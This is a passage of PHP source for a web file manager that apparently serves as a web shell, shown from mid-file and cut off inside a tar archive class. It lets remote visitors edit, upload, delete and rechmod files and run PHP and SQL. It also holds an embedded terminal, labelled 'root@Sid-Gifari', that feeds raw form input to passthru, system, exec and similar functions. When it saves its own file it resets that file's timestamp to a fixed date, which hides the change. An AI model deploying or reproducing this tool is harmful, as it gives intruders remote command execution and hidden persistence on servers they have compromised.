$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
